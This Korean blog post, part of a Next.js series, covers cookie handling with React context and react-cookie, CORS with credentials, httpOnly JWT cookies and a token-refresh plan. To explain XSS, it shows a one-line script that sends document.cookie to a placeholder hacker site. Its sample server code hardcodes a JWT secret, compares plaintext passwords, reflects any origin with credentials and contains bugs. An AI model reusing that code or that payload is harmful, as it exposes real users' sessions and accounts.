Next 10장 - cookie 활용하기
포스트
취소

Next 10장 - cookie 활용하기

Next

createContext

  • 쿠키를 리코일에 담아 전역적으로 사용하는 방법도 봤지만 createContext를 활용한 방법에 대한 작성이다.
  • 마찬가지로 전역적인 상태나 데이터를 관리하기 위해 사용되는 함수로, 데이터를 공유하거나 프로퍼티를 전달하지 않고 컴포넌트 간에 값을 주고받을 수 있다고 한다.
  • 컴포넌트 트리의 어떤 깊이에서든 해당 컨텍스트의 값을 읽거나 업데이트 할 수 있다.
1
2
3
4
5
6
7
8
// type
export interface AuthContextProps {
  token: string | undefined;
  setToken: (token: string) => void;
  removeToken: () => void;
}

// const AuthContext = createContext<AuthContextProps|undefined>(undefined);
  • 우선 본인은 쿠키에 대한 전역 사용을 할 것이기 때문에 쿠키에 대한 타입만 정의한다.
  • 다른 Context 값을 만들어서 필요한 값을 목적에 맞게 작성하면 되겠다.

AuthProvider

  • React-cookie를 사용할 것이다.
  • 쿠키를 사용하기 위해 Provider를 작성하여 최상위에서 감싸줘야 한다.
  • BrowserRouter를 사용하는 것과 마찬가지로 모든 컴포넌트에서 쿠키를 관리할 수 있게 한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function AuthProvider({ children }: { children: React.Node }) {
  const [cookies, setCookie, removeCookie] = useCookies(["token"]);

  const setToken = (token: string) => {
    setCookie("token", token, { path: "/" });
  };

  const removeToken = () => {
    removeCookie("token", { path: "/" });
  };

  const authContextValue: AuthContextProps = {
    token: cookies.token,
    setToken,
    removeToken,
  };

  return <AuthContext.Provider value={authContextValue} />;
}
  • 쿠키에 대한 구조는 아래와 같고 쿠키를 만들고 제거하는 데 옵션을 사용할 수 있다.
1
const [cookies, setCookie, removeCookie] = useCookies(["쿠키이름"]);
  • setCookie(name, value, [options]) 쿠키 값을 설정한다.

    • name[string] : 쿠키 이름
    • value(stringobject) : 값을 저장하고 필요한 경우 객체를 문자열화
    • options :
      • path(string) : 쿠키 경로, 모든 페이지에서 쿠키에 액세스할 수 있기 위해선 / 사용
      • expires(Date) : 쿠키의 절대 만료 날짜
      • maxAge(number) : 클라이언트가 쿠키를 수신한 시점부터 쿠키의 상대적인 최대 수명 (초)
      • domain(string) : 쿠키의 도메인
      • secure(boolean) : HTTPS를 통해서만 접근
      • httpOnly(boolean) : 서버에서 설정하는 것으로 서버만 쿠키에 접근할 수 있는지 유무
      • sameSite(booleannonelaxstrice) : Strict 또는 Lax 적용
  • removeCookie(name, [options]) 쿠키를 제거한다.

    • 어디서나 쿠키에 액세스 할 수 있다.
    • cookies : 쿠키를 가져오고 제거할 수 있는 쿠키 인스턴스
    • allCookies : 현재 모든 쿠키

cors 에러

  • 쿠키를 서버와 주고받는 과정에서 withCredentials: true를 이용하여, 사용자의 인증 정보를 담아 서버에 전송하고 이를 서버에서 원활히 사용하고자 하였는데 cors오류가 발생했다.
  • 쿠키를 공부하며 withCredentials: true를 사용 시 cors오류 발생이 불가피하며 Access-Control-Allow-Origin, Access-Control-Allow-Methods, Access-Control-Allow-Credentials 등의 다양한 옵션을 열어 해결하려 했지만 실패했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// server
app.use(cors());

app.use((req, res, next) => {
  res.setHeader("Access-Control-Allow-Origin", "*");
  res.setHeader(
    "Access-Control-Allow-Headers",
    "Origin, X-Requested-With, Content-Type, Accept, Authorization"
  );
  res.setHeader("Access-Control-Allow-Methods", "GET, POST, PATCH, DELETE");
  res.setHeader("Access-Control-Allow-Credentials", "true");

  next();
});

// client
export const api = axios.create({
  baseURL: "http://localhost:3001",
  timeout: 5000,
  headers: {
    "Content-Type": "application/json",
  },
  withCredentials: true,
});
  • 위 코드로는 문제가 해결되지 않았다.
  • axioswithCredentials 옵션값을 끄면 에러가 발생하지 않았는데, 당연히 보안 인증 정보를 담은 통신을 하고자 한다면 옵션값을 켜야 했고 다양한 해결방법을 검색했다.
  • 다양한 방법을 하나하나 넣어가며 대입한 결과 jwt를 만들 때, 보안 옵션으로 httpOnly: true를 사용하였는데, 이 옵션은 보안성을 높인 옵션으로, 사이트를 공격하고자 하는 해커가 자바스크립트를 사용해 쿠키를 가로채려 하는 XSS(Cross Site Scripting) 공격을 막기 위해 사용된다.
1
location.href = "http://해커사이트/?cookies=" + document.cookie;
  • 위와 같은 코드를 공개된 게시판에 작성할 시, 이 게시물을 읽은 사용자가 알아차리기도 전에 자신의 모든 쿠키를 해커에게 전송하게 된다.
  • 옵션을 설정하면 브라우저에서 쿠키에 접근할 수 없도록 제한하며 위에서 말한 공격이 차단되게 된다.
  • 이대로만 요청을 보내게 된다면 Request error가 발생하는 데, 이것을 해결하고자 서버에서 모든 응답에 대한 헤더를 열어주어야 한다.
  • 위의 서버 코드에서 Access-Control-Allow-Origin에 대한 와이들 카드는 사용할 수 없고 Origin을 반드시 설정해줘야 한다.
  • cors미들웨어에 작성할 수 있다.
1
2
3
4
5
6
app.use(
  cors({
    origin: true,
    credentials: true,
  })
);
  • 정상적으로 작동된다.

클라이언트의 리액트 쿠키

  • 쿠키를 사용하고자 리액트 쿠키를 사용했다.
  • 서버로부터 jwt로 만들어 전달받은 쿠키를 리액트 쿠키에 담아 사용하려 했는데, 쿠키값이 null로 표시되는 버그가 있었다.
  • 사용자의 정보를 전역 상태로 저장하여 사용하는 방법도 있지만, 페이지가 리렌더링 될 때 useEffect를 사용하여 쿠키가 있는지 확인하고 서버에서 jwt를 사용하여 받은 쿠키에 대한 정보를 복호화해 사용하는 방법을 시도해봤다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// server
const app = express();
app.use(cors({origin: true, credentials: true}));

async function loginUser(req, res, next){
  try{
    const { id, password } = req.body;
    const user = await User.findOne({id});

    if(!user) res.status(401).send("일치하는 유저가 없습니다.");
    if(user.password !== password) res.status(401).send("비밀번호가 일치하지 않습니다.");

    const token = jwt.sign({id: user.id}, "supersecret", {expriesIn: "1h"});
    res.cookie("token", token, {httpOnly: true});
    res.status(201).send("로그인되었습니다.");
  }
}

userRouter.get("/login", loginUser);

// client
api.get("/login").then(res => {
  alert(res.data);
  setCookie(res.cookie);
  }).catch(err => ...);
  • 위 코드와 같이 로그인 할 때 일치하는 유저 정보를 찾아, 유저가 존재한다면 쿠키를 보내주는 형식의 코드이다.
  • cookieheader에 담겨 전송되기 때문에 후처리를 할 필요가 없다.
  • 내가 작성한 코드는, 전송되는 쿠키를 리액트 쿠키에 담아 사용하려 했다.
  • 브라우저 Application에 토큰은 잘 담겨져 있지만 리액트 쿠키에 대한 값은 null 을 반환했다.
  • 우선 서버에서 httpOnly 옵션을 사용하여 전송한 토큰은 클라이언트 측에서 읽기가 불가능하다.
  • 읽기가 불가능한 값을 리액트 쿠키에 담아 사용하려 했기에 null을 반환하였고, 쿠키는 요청header에 담겨 전송되며 자동적으로 브라우저에 담기기 때문에 리액트 쿠키를 굳이 사용하지 않아도 됐다.
  • req요청에 대한 cookie라는 옵션을 사용하면 클라이언트에서 전송한 요청 헤더에 담긴 쿠키를 자동적으로 읽어내기 때문에 이 값을 사용하면 되는 문제였다.
    • 서버에서 요청에 cookie를 읽기 위해서 cookie-parser미들웨어가 필요하다.

AccessToken과 RefreshToken

  • 사용자가 로그인 함에 따라 서버에서 헤더에 AccessToken을 담아서 보내줬다.
  • 브라우저 탭에 들어가면 쿠키를 확인할 수 있는데, RefreshToken을 사용하여 AccessToken이 만료되었을 때 자동으로 재발급을 해준다.
  1. 우선 순서는, 서버에서 AccessToken, RefreshToken을 보내고 DB에 RefreshToken을 저장한다.
  2. 사용자가 받은 AccessToken이 만료되었다면, 사용자는 요청을 할 때 RefreshToken을 서버에 보낸다.
  3. DB에 저장된 유저 데이터의 RefreshToken과 사용자가 보낸 RefreshToken을 비교하여 만약 일치한다면, 사용자가 확인되었기에 새로운 AccessToken, RefreshToken을 보내고 위의 과정을 반복한다.
1
2
3
4
async function refreshToken(req, res) {
  // const refreshToken = req.body
  // 보류
}
이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.